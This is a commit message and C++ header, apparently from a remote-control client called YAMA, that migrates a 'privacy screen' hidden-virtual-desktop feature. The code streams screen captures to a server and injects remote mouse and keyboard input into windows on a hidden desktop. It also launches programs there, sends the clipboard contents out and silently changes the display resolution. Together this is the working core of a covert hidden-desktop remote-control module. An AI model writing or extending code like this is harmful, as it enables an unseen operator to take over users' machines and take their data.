Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)

Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro
This commit is contained in:
yuanyuanxianganddeepseek-v4-pro committed 2026-10-05 10:41:04 +02:00
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#pragma once
#include "Manager.h"
#include "ScreenCapture.h"
#include <Shlwapi.h>
#include <ShlObj.h>
#include <tchar.h>
class IOCPClient;
namespace SimplePluginsScreenHide {
class CScreenManagerBase : public CManager {
public: // 构造和析构
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
{
m_DlgToken = token;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ptrUser = user;
m_ScreenSpyObject = nullptr;
m_biBitCount = nBitDepth;
m_fps = 10;
m_bIsWorking = TRUE;
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
SetReady(TRUE);
}
virtual ~CScreenManagerBase() {
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
SAFE_DELETE(m_ScreenSpyObject);
if (g_hDesk) {
auto b = CloseDesktop(g_hDesk);
g_hDesk = NULL;
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
}
}
public: // 非纯虚函数
virtual BOOL SendFirstScreen() {
ULONG len = 0;
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
if (nullptr == data) {
return FALSE;
}
return m_ClientObject->Send2Server((char*)data, 1 + len);
}
virtual bool IsMetricsChange() {
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
if (m_oldwidth == 0 || m_oldheigh == 0) {
return false;
}
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
return true;
}
return false;
}
virtual void Loop_Screen() {
// 获取分辨率
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
// 修改分辨率
DEVMODE lpDevMode;
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
lpDevMode.dmSize = sizeof(lpDevMode);
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
if (result == DISP_CHANGE_SUCCESSFUL) {
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
}
else {
ChangeDisplaySettings(NULL, 0);
}
}
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
virtual int GetCurrentPixelBits() { return m_biBitCount; }
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
}
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
}
virtual void ResetScreen(int biBitCount = 32) {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
SAFE_DELETE(m_ScreenSpyObject);
m_biBitCount = biBitCount;
m_bIsWorking = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
}
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
if (!OpenClipboard(NULL))
return;
EmptyClipboard();
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
if (szClipboardVirtualAddress)
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
virtual VOID SendClientClipboard() {
if (!OpenClipboard(NULL)) //打开剪切板设备
return;
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
if (hGlobal == NULL) {
CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
GlobalUnlock(hGlobal);
CloseClipboard();
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
virtual DWORD WorkProcess() {
CScreenManagerBase* This = this;
This->InitScreenSpy();
This->SendBitMapInfo();
if (This->m_bIsWorking)
This->WaitForDialogOpen();
This->SendScreenSize();
clock_t last = clock();
if (!This->SendFirstScreen()) {
Mprintf("Send first screen failed!!!\n");
return 0x20250224;
}
Mprintf("Succeed sending bmpInfo and first screen\n");
float fps = This->m_fps;
const int sleep = 1000 / fps;// 间隔时间(ms)
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
int s0 = sleep; // 两帧之间隔(ms)
const int frames = fps; // 每秒调整屏幕发送速度
const double alpha = 1.1; // 控制fps的因子
timeBeginPeriod(1);
while (This->m_bIsWorking) {
ULONG ulNextSendLength = 0;
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
if (NULL == szBuffer) {
continue;
}
int span = s0 - (clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
c2 = 0;
if (frames == ++c1) { // 连续一定次数耗时长
s0 = (s0 <= 500) ? s0 * alpha : s0;
c1 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
c1 = 0;
if (frames == ++c2) { // 连续一定次数耗时短
s0 = (s0 >= 40) ? s0 / alpha : s0;
c2 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
virtual DWORD ControlProcess() {
CScreenManagerBase* pThis = this;
pThis->WaitForDialogOpen();
while (pThis->IsConnect() && pThis->m_bIsWorking) {
// 分辨率大小改变了
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(2000);
}
Sleep(10);
}
return -1;
}
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
return pThis->WorkProcess();
}
static DWORD WINAPI ControlThread(LPVOID lparam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
return pThis->ControlProcess();
}
std::wstring ConvertToWString(const std::string& multiByteStr) {
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // 转换失败
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
std::string GetTitle(HWND hWnd) {
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
LocalFree(pszError); // 释放内存
}
if (bCreateProcessReturn)
bReturn = true;
}
catch (...) {
bReturn = false;
}
return bReturn;
}
virtual VOID SendBitMapInfo() {
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = new BYTE[ulLength];
szBuffer[0] = m_DlgToken;
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
SAFE_DELETE_ARRAY(szBuffer);
}
virtual void SendScreenSize()
{
RECT rect = m_ScreenSpyObject->GetScreenRect();
BYTE lpBuffer[sizeof(RECT) + 1];
lpBuffer[0] = TOKEN_SCREEN_SIZE;
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
Send(lpBuffer, sizeof(lpBuffer));
}
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
int msgSize = sizeof(MYMSG);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48;
else return; // 数据包不合法
ULONG ulMsgCount = ulLength / msgSize;
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
if (nullptr == g_hDesk) {
// 命令个数
// 处理多个命令
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (Msg->message) {
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
case WM_MOUSEMOVE: {
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}
break;
default:
break;
}
switch (Msg->message) {
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN: case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
break;
case WM_KEYUP: case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
} else { // 虚拟桌面
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
case WM_RBUTTONDOWN: {
// 记录右键按下时的坐标
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
break;
}
case WM_RBUTTONUP: {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// 检查是否为系统菜单(如任务栏)
char szClass[256] = { 0 };
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// 触发系统级右键菜单(任务栏)
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
}
else {
// 普通窗口的右键菜单
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
break;
}
default:
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd)
{
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// 关闭窗口
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// 最小化
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// 最大化
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
}
else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
continue;
}
else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
}
else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
}
}
public: // 纯虚函数
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
virtual void InitScreenSpy() = 0;
HDESK g_hDesk;
std::string m_DesktopID;
void* m_ptrUser;
ScreenCapture* m_ScreenSpyObject;
BOOL m_bIsWorking;
long m_oldwidth, m_oldheigh;
int m_biBitCount;
int m_fps;
int m_DlgToken; // 这个值决定打开哪个对话框
HANDLE m_hWorkThread, m_hBlankThread;
// 虚拟桌面
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // 标记右键是否按下
POINT m_rclickPoint; // 右键点击坐标
HWND m_rclickWnd; // 右键窗口
};
} // namespace SimplePluginsScreenHide